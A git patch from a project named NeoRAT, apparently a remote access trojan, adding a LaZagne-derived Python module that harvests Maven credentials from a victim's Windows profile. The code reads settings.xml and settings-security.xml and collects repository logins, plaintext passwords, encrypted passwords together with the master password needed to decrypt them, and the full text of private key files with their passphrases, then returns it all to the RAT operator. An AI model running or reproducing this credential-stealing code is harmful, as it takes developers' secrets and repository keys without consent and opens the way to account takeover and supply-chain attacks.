From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../lazagne/softwares/maven/mavenrepositories.py | 131 +++++++++++++++++++++ 1 file changed, 131 insertions(+) create mode 100644 foreign/client_handling/lazagne/softwares/maven/mavenrepositories.py (limited to 'foreign/client_handling/lazagne/softwares/maven/mavenrepositories.py') diff --git a/foreign/client_handling/lazagne/softwares/maven/mavenrepositories.py b/foreign/client_handling/lazagne/softwares/maven/mavenrepositories.py new file mode 100644 index 0000000..ef36eeb --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/maven/mavenrepositories.py @@ -0,0 +1,131 @@ +# -*- coding: utf-8 -*- +import os +from xml.etree import ElementTree + +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.module_info import ModuleInfo + + +class MavenRepositories(ModuleInfo): + + def __init__(self): + ModuleInfo.__init__(self, 'mavenrepositories', 'maven') + # Interesting XML nodes in Maven repository configuration + self.nodes_to_extract = ["id", "username", "password", "privateKey", "passphrase"] + self.settings_namespace = "{http://maven.apache.org/SETTINGS/1.0.0}" + + def extract_master_password(self): + """ + Detect if a Master password exists and then extract it. + + See https://maven.apache.org/guides/mini/guide-encryption.html#How_to_create_a_master_password + + :return: The master password value or None if no master password exists. + """ + master_password = None + master_password_file_location = constant.profile["USERPROFILE"] + u'\\.m2\\settings-security.xml' + if os.path.isfile(master_password_file_location): + try: + config = ElementTree.parse(master_password_file_location).getroot() + master_password_node = config.find(".//master") + if master_password_node is not None: + master_password = master_password_node.text + except Exception as e: + self.error(u"Cannot retrieve master password '%s'" % e) + master_password = None + + return master_password + + def extract_repositories_credentials(self): + """ + Extract all repositories's credentials. + + See https://maven.apache.org/settings.html#Servers + + :return: List of dict in which one dict contains all information for a repository. + """ + repos_creds = [] + maven_settings_file_location = constant.profile["USERPROFILE"] + u'\\.m2\\settings.xml' + if os.path.isfile(maven_settings_file_location): + try: + settings = ElementTree.parse(maven_settings_file_location).getroot() + server_nodes = settings.findall(".//%sserver" % self.settings_namespace) + for server_node in server_nodes: + creds = {} + for child_node in server_node: + tag_name = child_node.tag.replace(self.settings_namespace, "") + if tag_name in self.nodes_to_extract: + creds[tag_name] = child_node.text.strip() + if len(creds) > 0: + repos_creds.append(creds) + except Exception as e: + self.error(u"Cannot retrieve repositories credentials '%s'" % e) + + return repos_creds + + def use_key_auth(self, creds_dict): + """ + Utility function to determine if a repository use private key authentication. + + :param creds_dict: Repository credentials dict + :return: True only if the repositry use private key authentication + """ + state = False + if "privateKey" in creds_dict: + pk_file_location = creds_dict["privateKey"] + pk_file_location = pk_file_location.replace("${user.home}", constant.profile["USERPROFILE"]) + state = os.path.isfile(pk_file_location) + + return state + + def run(self): + """ + Main function: + + - For encrypted password, provides the encrypted version of the password with the master password in order + to allow "LaZagne run initiator" the use the encryption parameter associated with the version of Maven because + encryption parameters can change between version of Maven. + + - "LaZagne run initiator" can also use the encrypted password and the master password "AS IS" + in a Maven distribution to access repositories. + See: + github.com/jelmerk/maven-settings-decoder + github.com/sonatype/plexus-cipher/blob/master/src/main/java/org/sonatype/plexus/components/cipher/PBECipher.java + """ + + # Extract the master password + master_password = self.extract_master_password() + + # Extract all available repositories credentials + repos_creds = self.extract_repositories_credentials() + + # Parse and process the list of repositories's credentials + # 3 cases are handled: + # => Authentication using password protected with the master password (encrypted) + # => Authentication using password not protected with the master password (plain text) + # => Authentication using private key + pwd_found = [] + for creds in repos_creds: + values = { + "Id": creds["id"], + "Login": creds["username"] + } + if not self.use_key_auth(creds): + pwd = creds["password"].strip() + # Case for authentication using password protected with the master password + if pwd.startswith("{") and pwd.endswith("}"): + values["SymetricEncryptionKey"] = master_password + values["PasswordEncrypted"] = pwd + else: + values["Password"] = pwd + else: + # Case for authentication using private key + pk_file_location = creds["privateKey"] + pk_file_location = pk_file_location.replace("${user.home}", constant.profile["USERPROFILE"]) + with open(pk_file_location, "r") as pk_file: + values["PrivateKey"] = pk_file.read() + if "passphrase" in creds: + values["Passphrase"] = creds["passphrase"] + pwd_found.append(values) + + return pwd_found -- cgit v1.2.3